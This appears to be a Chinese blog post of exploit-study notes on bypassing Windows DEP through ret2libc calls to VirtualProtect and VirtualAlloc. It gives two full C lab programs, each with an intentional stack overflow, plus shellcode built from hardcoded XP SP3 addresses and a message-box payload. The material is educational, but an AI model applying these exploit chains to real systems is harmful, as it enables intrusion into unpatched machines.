1. 程式人生 > 實用技巧 >漏洞學習筆記-015-利用VirtualProtect和VirtualAlloc攻擊DEP

漏洞學習筆記-015-利用VirtualProtect和VirtualAlloc攻擊DEP


Ret2Libc之利用VirtualProtect和VirtualAlloc攻擊DEP攻擊DEP

本文來源:Moeomu的部落格


利用VirtualProtect攻擊DEP

原理

利用VirtualProtect函式將棧頁記憶體屬性改為可執行

前置內容

  • VirtualProtect引數
BOOL VirtualProtect(
    LPVOID lpAddress,
    DWORD dwSize,
    DWORD flNewProtect,
    PDWORD lpflOldProtect
);

// 所以可以這樣寫
BOOL VirtualProtect(
    shellcode 所在記憶體空間起始地址,
    shellcode 大小,
    0x40,
    某個可寫地址
);
  • 這裡勢必存在0,因此攻擊函式換為memcpy

步驟

  • 修復EBP,這樣呼叫函式的時候不會記憶體讀取違規而異常
  • 填入VirtualProtect的地址,將會返回於此
  • 填入空的指令
  • 填入返回地址
  • 填入函式的引數
  • 填入shellcode本身

程式碼

模擬環境:系統:Windows XP SP3,DEP:Optout,編譯器:VC6,編譯選項:禁用優化,版本:release

#include<windows.h>

char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8B\x1D\x5D" // push esp pop ebp ret `fix ebp`
"\xD4\x1A\x80\x7C" // VirtualProtect Address
"\x90\x90\x90\x90"
"\x8C\xFE\x12\x00" // ret Address
"\xB0\xFD\x12\x00" // Param Address: 0x0012FDB0
"\xFF\x00\x00\x00" // Param Size: 0x100
"\x40\x00\x00\x00" // Param NewProtect: 0x40
"\x00\x00\x3F\x00" // Param pOldProtect: 0x00910000
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" // payload
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6B\x61\x6F\x6F\x68\x4D\x69\x73\x61\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
;

void test()
{
    char str[176];
    memcpy(str, shellcode, 420);
}

int main()
{
    HINSTANCE hInst = LoadLibrary("shell32.dll");
    char temp[200];
    test();
    return 0;
}

利用VirtualAlloc攻擊DEP

前置內容

  • VirtualAlloc引數
LPVOID WINAPI VirtualAlloc(
    __in_opt LPVOID lpAddress,
    __in SIZE_T dwSize,
    __in DWORD flAllocationType,
    __in DWORD flProtect
)
  • 引數說明
    • lpAddress,申請記憶體區域的地址,如果這個引數是NULL,系統將會決定分配記憶體區域的位置,並且按64KB向上取整
    • dwSize,申請記憶體區域的大小
    • flAllocationType,申請記憶體的型別
    • flProtect
      ,申請記憶體的訪問控制型別,如讀、寫、執行等許可權。記憶體申請成功時函式返回申請記憶體的起始地址,申請失敗時返回NULL

程式碼

模擬環境:系統:Windows XP SP3,DEP:Optout,編譯器:VC6,編譯選項:禁用優化,版本:release

#include <windows.h>

char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8B\x1D\x5D" // push esp pop ebp ret 4
"\xE1\x9A\x80\x7C" // Address of VirtualAlloc
"\x90\x90\x90\x90"
"\x70\x6F\xC1\x77" // VirtualAlloc ret address
"\x00\x00\x03\x00" // Param: lpAddress
"\xFF\x00\x00\x00" // Param: dwSize
"\x00\x10\x00\x00" // Param: flAllocationType
"\x40\x00\x00\x00" // Param: flProtect
"\x00\x00\x03\x00" // memcpy ret address
"\x00\x00\x03\x00" // Param: destin
"\x94\xFE\x13\x00" // Param: source
"\xFF\x00\x00\x00" // Param: n
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" // payload
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6B\x61\x6F\x6F\x68\x4D\x69\x73\x61\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
;

void test()
{
    char tt[176];
    memcpy(tt, shellcode, 450);
}

int main()
{
    HINSTANCE hInst = LoadLibrary("shell32.dll");
    char temp[200];
    test();
    return 0;
}

技術細節

  • 首先使用VirtualAlloc申請一段空間用於執行shellcode
  • 隨後使用memcpy將shellcode複製過去
  • 最後在memcpy返回時直接返回到shellcode payload的起始地址